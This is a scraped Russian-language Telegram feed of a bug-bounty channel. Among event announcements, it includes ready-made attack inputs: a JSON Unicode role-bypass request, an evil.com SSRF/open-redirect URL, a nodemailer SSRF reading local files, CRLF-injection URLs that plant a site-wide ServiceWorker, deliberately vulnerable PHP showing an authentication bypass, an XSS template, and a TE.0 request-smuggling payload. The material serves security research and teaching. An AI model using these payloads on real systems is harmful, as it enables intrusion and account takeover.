shadow_group_tg | Unsorted

Telegram-канал shadow_group_tg - SHADOW:Group

11529

Чат: @shadow_chat_tg Предложения, вопросы, сотрудничество: @shdwpwn

Subscribe to a channel

SHADOW:Group

🪲 Дисклоз уязвимостей в программе BI.ZONE Bug Bounty

Ребята из @bizone_bb раскрыли две уязвимости на их платформе. Респект им и @guleroman за находки.

1️⃣Уязвимость, позволяющая админу любой программы менять данные других пользователей, что приводит к захвату аккаунтов багхантеров или лишению доступа в кабинет других админов программ.

https://bugbounty.bi.zone/reports/5647

2️⃣Broken Access Control, позволяющий загрузить файл и прикрепить его ко всем отчетам и комментариям на платформе от имени автора отчета.

https://bugbounty.bi.zone/reports/5646

#web #idor #ato

Читать полностью…

SHADOW:Group

💳 Про инъекции в JSON

JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.

Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}


В данном примере производится очистка входных данных, блокирующая создание администратора. Однако, если на бэке популярный в Python анализатор ujson, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}


Более подробно об этом и других кейсах читайте в статье по ссылке.

#web #bypass #priveesc

Читать полностью…

SHADOW:Group

↔️ Open Redirect и SSRF в Spring

Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.

Символ «левой квадратной скобки» [ в сегменте юзеринфо может привести к тому, что UriComponentsBuilder в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.

http://target.com/redirect?url=https://target.com%5b@evil.com


Подробнее по ссылке.

#web #redirect #ssrf

Читать полностью…

SHADOW:Group

Как читают отчет по пентесту

Читать полностью…

SHADOW:Group

SSRF через вложения в электронной почте

Приложение позволяло администраторам отправлять массовые письма пользователям в организации. Оно также разрешало прикреплять файлы к письмам. Вложения кодировались в base64 и добавлялись в качестве параметра запроса (см. на скрин)

Не было особой причины думать, что изменение параметра email_attachments на URL сработает, но я решил попробовать. И действительно, после изменения его на Burp Collaborator я получил отстук:

GET / HTTP/1.1  
accept-encoding: gzip,deflate
user-agent: nodemailer/4.7.0
Host: 716cq...ht5i.burpcollaborator.net
Connection: close


Оказалось, что приложение использует старую версию nodemailer. Быстро стало понятно, что приложение просто принимает строку email_attachments, введённую пользователем, и передаёт её как параметр пути в API вложений nodemailer.

Приложение ожидало data:URI, но если вместо этого передать URL, nodemailer попытается найти файл по этому URL и прикрепить его.

Забавно, что nodemailer очень хотел видеть расширение файла в URL. Поэтому для получения файлов надо было указывать что-то типа http://10.10.1.3:3000/api/v1/apps/list%23test.txt.

Позже выяснилось, что nodemailer прикреплял и локальные файлы. Отправка запроса на конечную точку send_email с перечнем известных путей к файлам привела к интересным находкам: конфигурационные файлы, дампы пользователей и т.д.

#web #ssrf #lfr

Читать полностью…

SHADOW:Group

Баг, через который можно угнать все машины от Kia

У Kia есть приложение Connect, через которое можно узнать где находится твоя машина, посигналить, а еще открыть ее и завести. Но как оно понимает, что это твоя машина, а не чужая?

После того, как ты купил Kia, дилер дает тебе ссылку, которая линкует машину с твоей учеткой для входа в само приложение.

Ссылка с одноразовым токеном ведет на сайт дилера. На этом же сайте из JS-кода можно найти эндпоинты, через которые дилер генерит эти ссылки, а еще запросы на то, чтобы управлять машиной.

Кроме того, ты сам можешь зарегаться как дилер, — этот эндпоинт был скрыт, но его получилось найти из-за того, что сайт дилера это форк клиентского API. И читать данные о владельцах чужих машин, а еще управлять ими.

Мораль такая: если ты покупаешь такую машину, помни, что она не становится твоей на 100%. У дилера, вендора и хакеров всегда остаются возможности угнать ее удаленно.

Читать полностью…

SHADOW:Group

🤠 Дикий Запад, 2024 год. Вечереет. В бар заходят двое хакеров и специалист SOC в Standoff. Бармен бросает на них взгляд и говорит:

«Заходите, чужаки. Откуда сами будете? Слышали новость нашего городка?

Два топа комьюнити — BooL и mimicate — исключительно в образовательных целях (для того чтобы поделиться с вами подходами к исследованию безопасности) порешали в формате спродюсированного батла пару заданий на онлайн-полигоне Standoff. Наблюдал за ними Рэм, главный ковбой, а точнее руководитель группы продуктов безопасности Standoff: следил за их действиями через средстваа защиты информации и комментировал».

Бармен наливает три пинты пива 🍺🍺🍺. Вытирая пену со стаканов, он продолжает:

«Что вышло? Смотрите в четырех опубликованных стрим-записях. Все ролики идут в одном тайминге. Хочешь — смотри общий, хочешь — переключайся между экранами профессионалов и изучай их техники и тулзы».

Общая трансляция (Вид от лица Бармена)
BooL
mimicate
Рэм (Главный ковбой)

Читать полностью…

SHADOW:Group

Хочешь получить доступ к приватным программам на платформе Standoff Bug Bounty?

Конечно хочешь. Вот короткая инструкция, что делать:

1️⃣ Перейди по ссылке и заполни небольшой опрос.

2️⃣ Попади в список из 50 счастливчиков с самыми классными навыками и опытом. Если пройдешь отбор, мы сразу же тебе напишем.

3️⃣ Ищи баги в свеженьком закрытом скоупе.

❗️ Важное условие: у тебя не должно быть ни одной приватной программы.

Еще читаешь? Бросай это дело — анкета сама себя не заполнит.

Читать полностью…

SHADOW:Group

Опубликовали видеоролик о том, как прошла ежегодная независимая премия Pentest award 2024!

Радостные лица, толпа заряженных специалистов, и, конечно, счастливые победители с наградами в руках — настоящий праздник этичного хакинга.

Здорово было встретится в офлайне со старыми друзьями и коллегами, познакомиться с новыми людьми, обменяться знаниями и идеями, поговорить о важном, профессиональном, наболевшем.

До встречи в 2025 году 👋

Отдельная благодарность партнерам проекта: BI.ZONE Bug Bounty, VK Bug Bounty, OFFZONE и CyberED.

📺 Полное видео
🔗 Pentest award (архив)
@justsecurity

Читать полностью…

SHADOW:Group

🖊️Семантические уязвимости в серверах Apache

В связи с недавно прошедшими мероприятиями и моим отпуском не было времени упомянуть некоторые крутые недавно опубликованные доклады. И к одному из таких относится ресерч старины Orange Tsai, в ходе которого было найдено сразу несколько CVE и различных мисконфигов в серверах Apache.

Странно, что никто об этом еще не написал, так как материал очень интересный и я всем рекомендую ознакомиться с оригиналом по ссылке. Я также набросал несколько шаблонов для Nuclei на основе этого доклада, которые вы можете доработать или использовать как есть на своих целях (закину их в комменты под постом).

#web #apache #cve

Читать полностью…

SHADOW:Group

®️ OFFZONE 2024 - всё

Вот и закончился OFFZONE 2024 и хочется сказать спасибо организаторам и всем причастным за столь крутое мероприятие! @offzone_moscow вы молодцы)

За эти два дня пообщался с многими классными специалистами и просто с интересными людьми, поучаствовал в различных активностях и послушал несколько докладов. Отдельное спасибо @bizone_bb за приглашение на их ивенты, а всем вендорам за разнообразный скоуп! За афтепати отдельный респект, было весело!

В общем, рад был всех видеть и до новых встреч!

Читать полностью…

SHADOW:Group

Когда включаешь сканер уязвимостей на публичной баг баунти программе

Читать полностью…

SHADOW:Group

Пара кейсов с БагБаунти ☄️

Решил поделиться парой найденных багов, которые были подтверждены около года назад и уже исправлены.

В будущем планирую также выкладывать подобные посты, так как практические кейсы всегда позволяют подчерпнуть для себя чего-то нового.

Приятного прочтения ! 🔥

Читать полностью…

SHADOW:Group

🎉 Результаты розыгрыша:

Победители:
1. Mikhail (@tru3f4ls3)
2. Игорь

Проверить результаты

Читать полностью…

SHADOW:Group

🎉 Розыгрыш билетов на OFFZONE

Да свершится великий рандом! Я разыграю ДВА БИЛЕТА на одну из самых ожидаемых конференций года - OFFZONE.

Как принять участие:
- Быть подписанным на канал
- Нажать кнопку "Участвую!" под этим постом

Бот случайным образом выберет двух счастливчиков среди тех, кто выполнит все условия!

Сроки:
Розыгрыш продлится до 29.07.2024, а победители будут объявлены на следующий день.

Не упустите свой шанс стать частью OFFZONE! Удачи всем участникам!

#offzone

Читать полностью…

SHADOW:Group

Сегодня мы познакомимся с уязвимостью Insecure Deserialization на примере нескольких задач с PortSwigger и Standoff365 👨‍💻

В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей 😻

Подробнее

Читать полностью…

SHADOW:Group

Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)

Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.

Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type

Используя CRLF Injection оба этих условия легко выполняются:

XSS

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>


JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.

Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.

Для этого формируем код ServiceWorker с Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})


И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E


Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A

Читать полностью…

SHADOW:Group

🙏 Розыгрыш проходок BUGS ZONE 3.0

В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.

Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.

Читать полностью…

SHADOW:Group

💻 Что не так с этим кодом?

Взгляните внимательно на код ниже. Заметили уязвимость? Ответ под спойлером.

<?php
$input = $_GET["password"];
$answer = json_decode($input);
//random 16 character token
$token = base64_encode(bin2hex(random_bytes(16)));
$password = $answer->password;
if ($password == $token) {
echo "Admin Panel";
} else {
echo "Error Encoutered! Wrong Token!<br>";
echo "Your token was: $token";
}
?>


Можно ли обойти аутентификацию указав вместо пароля значение true? На самом деле да и данный код тому пример.

PHP имеет слабую типизацию, и при использовании оператора == (нестрогое сравнение) происходит автоматическое приведение типов. Это может привести к неожиданным результатам при сравнении разных типов данных.

В данном случае, если злоумышленник отправит JSON, где значением поля password будет true, сравнение между $password и сгенерированным токеном пройдет успешно. Сравнение в строке if ($password == $token) приведет токен к типу boolean для выполнения сравнения, и поскольку любое непустое значение токена при приведении к булеву типу будет равно true, условие выполнится успешно. Таким образом можно обойти аутентификацию и получить доступ к закрытому ресурсу.


#web #ato #appsec

Читать полностью…

SHADOW:Group

Сегодня доклад для любителей SSRF и Bug Bounty

Егор Зонов показал примеры уязвимостей Server-Side Request Forgery, которые были сданы в багбаунти Яндекса, вместе со статистикой выплат за них в 2023 году. Рассказал про обнаружение SSRF и про распространённые способы от него защититься, а на 21-й минуте заспойлерил сервис SSRF Sheriff во внутрянке Яндекса — инструмент для багхантеров на «Охоте», который позволяет проверить, а был ли SSRF.

📺 → видос
🗂 → преза
💬 → фидбэк

Читать полностью…

SHADOW:Group

⌨️ AD CS Web Enrollment. Relay меня полностью

Отличная статья от @VeeZy_VeeZy про AD CS Web Enrollment и его применение на примере проекта по инфраструктурному пентесту.

Подробное объяснение, команды и обилие скринов прилагается.

Ссылка на Хабр

#pentest #ad

Читать полностью…

SHADOW:Group

💬 Обновленный поиск XSS с Nuclei

В новом обновлении Nuclei v3.3.2 добавили фичу, позволяющую обнаруживать XSS в headless моде с помощью действия waitdialog. Говоря по простому, теперь можно составить шаблон, который будет понимать, когда выскакивает alert(), что позволит искать в том числе и DOM XSS.

Я решил протестить все это на лабе портсвигера. По итогу, получился вот такой шаблон:

id: xss-detection

info:
name: Test Template for DOM XSS
author: shdwpwn
severity: medium
description: Test Template for DOM XSS
reference: https://blog.projectdiscovery.io/simplifying-xss-detection-with-nuclei/
tags: xss

headless:
- steps:
- args:
url: "{{BaseURL}}/?search=<img/src/onerror=alert()>"
action: navigate

- action: waitdialog
name: popup

matchers:
- type: dsl
dsl:
- popup == true
condition: and


Запускаем его через команду:
nuclei -headless -t dom-xss-test.yaml -u https://blablabla.web-security-academy.net


Более подробно, как всегда, в блоге от Project Discovery.

#web #xss #tools

Читать полностью…

SHADOW:Group

Давненько не обновлял Burp Suite и решил глянуть на изменения в новых версиях. Помимо улучшения производительности, оказывается, теперь там можно … играть???

https://github.com/BugBountyzip/Bambdas

Читать полностью…

SHADOW:Group

Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔

Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода 🖼️

Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость 👀

Подробнее

Читать полностью…

SHADOW:Group

😆 Как мы с вами выросли за год

На пресс-конференции в рамках OFFZONE 2024 поделились итогами работы BI.ZONE Bug Bounty вместе со Сбером, «Группой Астра» и багхантером Артёмом Бельченко.

Из интересного:

🔵Сегодня на платформе размещаются 34 компании и 78 программ по поиску уязвимостей.

🔵Выплаты увеличились почти в 3 раза: их общая сумма составила 45 миллионов рублей, а за уязвимости уровней high и critical заплатили 28 миллионов рублей.

🔵Более чем в 1,5 раза возросло количество отчетов от багхантеров. При этом каждая шестая обнаруженная уязвимость относилась к уровням high и critical.

🔵За последний год на платформе более чем в 3 раза увеличилось количество компаний из финансовой отрасли и в 6 раз выросло число программ от госсектора.

🔵Мы запустили первую в стране программу по поиску уязвимостей в инфраструктуре субъекта РФ — Ленинградской области.

Впереди нас ждет еще больше программ, выплат и крутых ивентов для сообщества!

Если еще не багхантите с нами, присоединяйтесь ;)

Читать полностью…

SHADOW:Group

®️ До встречи на OFFZONE

Я живу достаточно далеко от МСК и не часто выбираюсь из своей уютной берлоги, но в этом году, как и в прошлом, поеду на OFFZONE. В том году мероприятие запомнилось мне, в первую очередь, встречей с множеством крутых специалистов, среди которых были и мои подписчики. В этом году буду также рад с вами увидеться!

Кроме того, знаю про несколько крутых докладов, которые будут в этом году на ивенте. Организаторы недавно выложили программу мероприятия, поэтому можно перейти по линку и отобрать интересные для себя выступления в избранное.

Ну и конечно же не стоит напоминать про другие активности вроде воркшопов, стендов, викторин, кальянов, пива, гор мерча и многого другого. Так что подходите, увидимся там!

Читать полностью…

SHADOW:Group

Эксплуатация состояния гонки в «тапалках» в Telegram
https://kaimi.io/2024/08/exploit-race-condition-in-telegram-mini-apps/

Читать полностью…

SHADOW:Group

📖 AlphaBay: Как ошибка в Opsec привела к поимке «короля» даркнета 

Alphabay — огромный даркнет-маркетплейс, стал символом эпохи «темного» интернета. Его создание - результат стремления к анонимности, которое в итоге привело к катастрофическим последствиям.

Alphabay предлагал убежище для преступников, где они могли продавать наркотики, оружие и украденные данные. Но за анонимностью скрывался Александр Казес - тот самый Alpha02, администратор сайта, только он не учёл важность Opsec - что его и погубило.


teletype.in/@secur_researcher/opsec

История Alphabay - наглядный пример того, как одна ошибка может перечеркнуть всё, под катом вас ждёт увлекательная история, наполненная сюжетными переворотами.

#OPSEC #OSINT | 😈 @secur_researcher

Читать полностью…

SHADOW:Group

Обход аутентификации с помощью Race Condition, приводящий к полному захвату учетной записи

Помните исследование Джеймса Кеттла про Race Condition? В данной статье будет пример реализации данного исследования на практике во время багхантинга и, как итог, захват любого аккаунта на сайте.

Ссылка на статью

#web #race #ato

Читать полностью…

SHADOW:Group

TE.0 HTTP Request Smuggling

Новая техника эксплуатации HTTP Request Smuggling представлена в блоге Bugcrowd

Суть TE.0 такая же как у CL.0 только в данном случае фронт принимает, а бэкэнд игнорирует заголовок Transfer-Encoding. Кто бы мог подумать, что в мире найдутся сервера обрабатывающие запрос, который начинается с number + newline😎

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE


Такие нашлись у GCP load balancer'ов, эксплуатация TE.0 позволила обойти Google IAP (Identity-Aware Proxy) и получить доступ к ресурсам за этой проксей с байпасом механизмов аутентификации и авторизации, за репорт баги Google выплатили исследователям $8.5k

Особенности эксплуатации TE.0:
✅ Значение chunk length должно быть в hex number в соответствии с HTTP/1.1 RFC
✅ 2 EMPTY_LINE_HERE в конце последнего чанка запроса
✅ Использование различных методов при отправке пейлоада (в кейсе с GCP успешно отработал OPTIONS)

Читать полностью…
Subscribe to a channel